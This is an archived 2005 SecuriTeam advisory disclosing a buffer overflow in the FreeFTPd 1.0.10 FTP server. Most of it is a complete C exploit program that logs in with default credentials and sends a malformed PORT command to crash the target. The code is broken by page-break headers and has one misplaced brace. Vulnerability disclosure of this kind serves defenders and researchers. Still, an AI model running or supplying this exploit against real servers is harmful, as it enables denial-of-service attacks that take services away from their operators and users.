

[EXPL] FreeFTPd DoS (PORT, Exploit)

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-11/0086.html>

From: SecuriTeam (support_at_securiteam.com)

Date: 11/27/05

To: list@securiteam.com

Date: 27 Nov 2005 12:54:58 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

FreeFTPd DoS (PORT, Exploit)

SUMMARY

<<http://freeftpd.com/>> freeFTPd is "a free FTP+SSL/SFTP server built on WeOnlyDo FTP/SFTP implementation which guarantees high performance and full compatibility".

FreeFTPd is vulnerable to a buffer overflow, the following exploit code will cause a denial of service against the product.

DETAILS

Vulnerable Systems:

* FreeFTPd version 1.0.10

Exploit:

// FreeFTPd Denial of Service Attack

// Tested on a Win XP Sp1 Box

```
#include "stdio.h"
```

```
#include "winsock2.h"
```

```
#pragma comment (lib, "ws2_32")
```

```
#define PORT 21
```

Securiteam: [EXPL] FreeFTPd DoS (PORT, Exploit)

```
#define USER "root"
#define PASS "root"
#define L "-----"
#define HL "freeFTPd (1.0.10) DoS Exploit by steve01@chello.at"
#define BOOM "23"

typedef unsigned long ulong;
ulong resolv_host(char *);

int main(int argc, char* argv[])
{

    WSADATA wsa;
    SOCKET s_target;
    struct sockaddr_in addr;
    WORD wsVersion;
    int err=0;

    if(argc<2)
    {
        printf("%s\n",L);
        printf("%s\n",HL);
        printf("%s\n",L);
        printf("Usage: %s <www.target.com>\n",argv[0]);
        exit(0);
    }

    printf("%s\n",L);
    printf("%s\n",HL);
    printf("%s\n",L);

    if(WSAStartup(wsVersion=MAKEDWORD(2,2),&wsa))
    {
        printf("Error WSAStartup() Error Code: %d\n",WSAGetLastError());
        exit(1);
    }

    s_target=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
    if(s_target==INVALID_SOCKET)
    {
        printf("Error socket() Error Code: %d\n",WSAGetLastError());
        exit(2);
    }

    addr.sin_family = AF_INET;
    addr.sin_port = htons(PORT);
    addr.sin_addr.s_addr= resolv_host(argv[1]);

    if(connect(s_target,(SOCKADDR *)&addr,sizeof(addr)))
    {
        printf("Error connect() Error Code: %d\n",WSAGetLastError());
    }
}
```

Securiteam: [EXPL] FreeFTPd DoS (PORT, Exploit)

```
    exit(3);
}

int recvsize=0;
char recvbuffer[400];
char sendbuffer[400];

//recv banner
recvsize=recv(s_target,recvbuffer,sizeof(recvbuffer)-1,0);
recvbuffer[recvsize]='\0';
//send user
strncpy(sendbuffer,"USER ",sizeof(sendbuffer)-1);
strncat(sendbuffer,USER,sizeof(sendbuffer)-strlen(sendbuffer)-1);
strncat(sendbuffer,"\r\n",sizeof(sendbuffer)-strlen(sendbuffer)-1);

send(s_target,sendbuffer,strlen(sendbuffer),0);

//recv user stuff
recvsize=recv(s_target,recvbuffer,sizeof(recvbuffer)-1,0);
recvbuffer[recvsize]='\0';

strncpy(sendbuffer,"PASS ",sizeof(sendbuffer)-1);
strncat(sendbuffer,PASS,sizeof(sendbuffer)-strlen(sendbuffer)-1);
strncat(sendbuffer,"\r\n",sizeof(sendbuffer)-strlen(sendbuffer)-1);

//send pass
send(s_target,sendbuffer,strlen(sendbuffer),0);

//recv pass stuff
recvsize=recv(s_target,recvbuffer,sizeof(recvbuffer)-1,0);
recvbuffer[recvsize]='\0';

strncpy(sendbuffer,"PORT ",sizeof(sendbuffer)-1);
strncat(sendbuffer,BOOM,sizeof(sendbuffer)-strlen(sendbuffer)-1);
strncat(sendbuffer,"\r\n",sizeof(sendbuffer)-strlen(sendbuffer)-1);
send(s_target,sendbuffer,strlen(sendbuffer),0);

closesocket(s_target);
WSACleanup();

return 0;
}

ulong resolv_host(char *host)
{

ulong uhost=0;
struct hostent *th;

uhost=inet_addr(host);
if(uhost==INADDR_NONE)
```

Securiteam: [EXPL] FreeFTPd DoS (PORT, Exploit)

```
{
th=gethostbyname(host);
if(!th)
{
printf("Check if %s is up \n",host);
exit(0);
}

uhost=*(unsigned long*)th->h_addr;

}

return uhost;

}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:steve01@chello.at> steve01.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.